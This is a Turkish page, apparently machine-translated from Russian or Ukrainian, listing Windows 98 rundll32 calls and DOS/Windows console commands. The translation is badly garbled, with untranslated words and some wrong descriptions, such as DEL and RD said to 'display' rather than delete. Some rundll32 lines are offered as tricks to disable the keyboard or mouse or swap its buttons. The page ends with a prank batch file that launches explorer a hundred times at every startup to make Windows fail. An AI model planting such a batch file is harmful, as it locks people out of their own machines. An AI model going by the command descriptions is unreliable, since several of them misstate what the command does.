systeminfo - bilgisayarlar hakkındaki bilgilerin özeti.
schtasks - görevin planlayıcısı.
xcopy - dosyaları ve dizinleri kopyalama.
tsshutdn - sunucu robotunu belirlenen sırayla kapatın.
set - cmd.exe'de yeni, yeni ve silinmiş değişiklikler. Sistemin gücü ("bilgisayarım" olarak telaffuz edilir) - ayrıca - Zminni seredovishcha. Orada her şey harika değil ama çok şey var! Herkes hayrete düşüyor.
Konuşmadan önce toplu iş dosyaları oluştururken kullanılabilecek RunDLL komutlarının ekseni

rundll32 kullanıcısı, wnetdisconnectdialog
"Edge sürücüsünün bağlanması" Penceresi Wikikati

rundll32 kullanıcısı, devre dışı bırakma katmanı
kışkırtma

rundll32 kullanıcısı, ekranı yeniden boyayın
Onoviti (yak)

rundll32 kullanıcısı, setcursorpos
Maus-İmleci yukarı yerleştirin

rundll32 diskkopyası, DiskCopyRunDll
"Diski Kopyala" penceresine tıklayın

rundll32 rnaui.dll, RnaWizard / 1
Diyalog "Bağlantıyı Kur"a tıklayın (/ 1 = pencere yok)

rundll32 kabuğu, kabuk yürütme
Explorer-Kök dizinde aç

rundll32 kabuk32, OpenAs_RunDLL
Vikno "Yardım için tıklayın..." tıklayın ***

rundll32 kabuk32, SHFormatDrive
Pencere "Biçim: Disk3.5 (A)" tıklayın

rundll32 kabuk32, ShellHakkındaA
Bilgi Kutusu (Windows hakkında) Wikikati

rundll32 kabuk32, SHExitWindowsEx 0
Windows 98'in yeniden başlatılması (autoexec.bat vb. olmadan)

rundll32 kabuk32, SHExitWindowsEx 1
Windows 98 ile çalışmayı sonlandırın

rundll32 kabuk32, SHExitWindowsEx 2
Windows-98-PC önyüklemesi

rundll32 kabuk32, SHExitWindowsEx -1
Windows-98-Explorer yeniden başlatılıyor

rundll32 kabuk32, Control_RunDLL
"Denetim Masası" penceresini açın

rundll32 kabuk32, Control_RunDLL masası.cpl
"Ekran Gücü"nü açın

rundll32 kabuk32, Control_RunDLL main.cpl
MAIN.CPL'den Modül Kontrol Panelini açın **

rundll32 krnl386.exe, çekirdekten çık
Herhangi bir bildirim/soru olmadan Windows'tan çıkın

rundll32 kullanıcısı, swapmousebutton
Fare tuşlarını "yeniden düzenleyin" *

rundll32 klavyeyi devre dışı bırak
Klavyeyi "Etkinleştir" *

rundll32 fare, devre dışı bırak
"Aç" Misha *

rundll rnaui.dll, RnaDial "sağlayıcı"
"Sağlayıcı" adından "Bağlantı" penceresini tıklayın

rundll32 kullanıcısı,tilechildwindows
daraltılmamış tüm pencereleri yukarıdan aşağıya doğru düzenleyin

rundll32 kullanıcısı, cascadechildwindows
daraltılmamış tüm pencereleri kademeli olarak oluşturun

rundll32 sysdm.cpl, InstallDevice_Rundll
(Birimler. W98'de olasılık) Tak ve Çalıştır olmayan ekipmanı kurma

rundll32 msprint2.dll, RUNDLL_PrintTestPage
Yazıcı menüsünde VIBIR'e gidin ve yeni bir test gönderin

rundll32 kullanıcısı, setcaretblinktime
yeni bir imleç flaş frekansı ayarlayın *

rundll32 kullanıcısı, çift tıklama süresini ayarla
yeni bir basınç hızı ayarlayın *

rundll32 setupx.dll, InstallHinfSection
Varsayılan Kurulum 130; C:\dosya.inf
"Sistemi yeniden başlatın. Bu bulaştırmayı gerçekleştirin mi? Evet/Yok"**** penceresi

ASSOC - Dosyaların bağlantı uzantısını gösterir veya değiştirir
AT - Chi, bilgisayarınızdaki wiki için komutlar ve programlar planlar.
ATTRIB - Dosya özniteliklerini gösterir veya değiştirir.
ARA - Kombinasyonun yeniden kontrol edilmesini kurar veya ölçeklendirir.
CACLS - Dosyalar için erişim kontrol listelerini (ACL'ler) gösterir veya değiştirir.
CALL - Bir *.BAT dosyasını diğerinden çağırır.
CD - Akış dizininin adını gösterir veya değiştirir.
CHCP - Etkin kod sayfası numarasını gösterir veya ayarlar.
CHDIR - Akış dizininin adlarını gösterir veya adlarını değiştirir.
CHKDSK - Diski kontrol eder ve kurulumla ilgili bilgileri görüntüler.
CLS - Ekranı temizler.
CMD - Windows NT komut yorumlayıcısının yeni bir örneği başlatılır.
RENK - Konsolun ön planı ve arka planı için standart rengi ayarlar.
KOMUT - Windows komut yorumlayıcısının yeni bir kopyasını başlatır.
COMP - İki dosyaya veya dosya ayarına eşittir.
KOMPAKT - Windows NT (NTFS) sürücülerindeki dosyaların sıkıştırılmasını görüntüler veya değiştirir.
CONVERT - FAT birimlerini Windows NT dosya sistemi (NTFS) biçimine dönüştürür. Bir akış diskini dönüştüremezsiniz.
KOPYALA - Bir veya daha fazla dosyayı başka bir konuma kopyalar.
CTTY - Sisteminizi kontrol etmek için kullanılan terminal cihazını değiştirir.
TARİH - Tarihi gösterir veya ayarlar.
DEL - Bir veya daha fazla dosyayı görüntüler.
DEBUG - Programların geliştirilmesini, test edilmesini ve enstrümantal özelliklerin düzenlenmesini yapılandırır.
DIR - Bir dizindeki dosyaların ve alt dizinlerin listesini gösterir.
DISKCOMP - İki diskete eşittir.
DISKCOPY - Bir disket yerine diğerine kopyalar.
DOSKEY - Komut satırlarını düzenler, Windows komutlarını günceller ve makrolar oluşturur.
ECHO - Bildirimleri gösterir veya yeni komutları etkinleştirir/devre dışı bırakır.
EMM386 - EMM386 genişletilmiş bellek desteğini etkinleştirir/devre dışı bırakır.
ENDLOCAL - * .BAT dosyasındaki ekstra ara katman yazılımındaki değişikliklerin yerelleştirilmesini sonlandırır.
ERASE - Bir veya daha fazla dosyayı siler.
EXIT - Programı başlatır (komut yorumlayıcısı).
EXTRACT - CAB dosyalarından bilgi alınıyor.
FC - iki dosyayı veya dosya ayarını karşılaştırır ve aralarındaki kayıt defterini görüntüler.
BUL - Bir dosya veya dosyalardaki metin dizesini arar.
FINDSTR - Dosyalardaki satırları arayın.
FOR - Dosya kümesindeki her dosyaya atanan komutu yapılandırır.
FORMAT - Diski Windows için formatlar.
FTYPE - Uzantı bağlantılarında listelenen dosya türlerini gösterir veya değiştirir.
GOTO - Windows NT komut yorumlayıcısını *.BAT dosyasındaki işaretli satıra yönlendirir.
GRAFTABL - Windows, grafik modunda eklenen sözde grafik sembollerini görüntülemenizi sağlar.
YARDIM - Windows komutları için Yardım bilgileri sağlar.
IF - Yıkama işlemini * .BAT dosyasına dönüştürür.
KEYB - belirli bir film için klavyeyi yapılandırır.
LABEL - Diskteki bir birimin etiketini oluşturur, değiştirir veya siler.
LOADHIGH (LH) - programı üst bellek adreslerine yükler.
MD - Bir dizin oluşturur.
MEM - Sisteminizde kullanılan ve boş hafıza miktarını gösterir.
MKDIR - Bir dizin oluşturur.
MODE - sistem cihazlarını yapılandırır.
DAHA FAZLA - Simgeyi her defasında bir ekranda gösterir.
TAŞIMA - bir veya daha fazla dosyayı aynı diskteki bir dizinden diğerine taşır.
NETSTAT - Protokollerin ve akışlı TCP/IP bağlantılarının istatistiklerini gösterir.
NLSFUNC - Bölgeye özgü bilgileri yakalar.
PATH - Derlenmiş dosyalar için arama yollarını gösterir veya yükler.
DURAKLAT - *.BAT dosyasını işler ve bildirimleri görüntüler.
POPD - PUSHD tarafından kaydedilen akış dizininin iletme değerini günceller.
YAZDIR - Başka bir metin dosyası.
PROMPT - Windows komutlarının istemini değiştirir.
PUSHD - Geçerli dizini kaydeder ve ardından değiştirir.
RD - Dizini görüntüler.
RECOVER - Arızalı veya kusurlu bir diskten okunan bilgileri yeniler.
REM - * .BAT dosyalarına veya CONFIG.SYS'ye yorumları (notları) yazar.
REN - bir dosyayı veya dosyayı yeniden adlandırın.
YENİDEN ADLANDIR - bir dosyayı veya dosyayı yeniden adlandırın.
DEĞİŞTİR - Dosyaları değiştirir.
GERİ YÜKLE - BACKUP komutu kullanılarak arşivlenen dosyaları yeniler.
RMDIR - Dizini görüntüler.
SET - Windows medya değişikliklerini gösterir, yükler veya kaldırır.
SETLOCAL - * .BAT dosyasındaki orta akış değişikliklerinin yerelleştirilmesini başlatır.
SETVER - Windows'un programlara bildirdiği MS-DOS sürüm numarasını ayarlar.
SHIFT - Konumun yok edilmesi, * .BAT dosyalarındaki parametrelerle değiştirilir.
SMARTDRV - SMART Drive disk önbelleğe alma yardımcı programını kurun ve yapılandırın.
SORT - Giriş akışını sıralar.
BAŞLAT - Belirtilen program veya komut için pencereyi başlatır.
SUBST - Yolu disk harfine bağlar.
SYS - MS-DOS sistem dosyalarını ve komut yorumlayıcısını belirttiğiniz diske kopyalar.
TIME - Sistem saatini gösterir veya ayarlar.
TITLE - Oturumun pencere başlığını ayarlar.
AĞAÇ - Sürücüdeki veya rotadaki dizin yapısını grafiksel olarak görüntüler.
TÜR - Metin dosyası yerine gösterilir.
VER - Windows sürümünü gösterir.
DOĞRULA - Windows'a dosyaların diske doğru şekilde yazıldığını doğrulaması talimatını verir.
VOL - Disk birimi etiketini ve seri numarasını gösterir.
XCOPY - Dosyaları ve dizin ağaçlarını kopyalar.

Peki, Windows'u "sürmek" istiyorsanız o zaman:
@Eko kapalı
kaşifi başlat
kaşifi başlat
kaşifi başlat
explorer'ı başlat - 100 kez tekrarlayın ve otomatik yanıta kaydolun.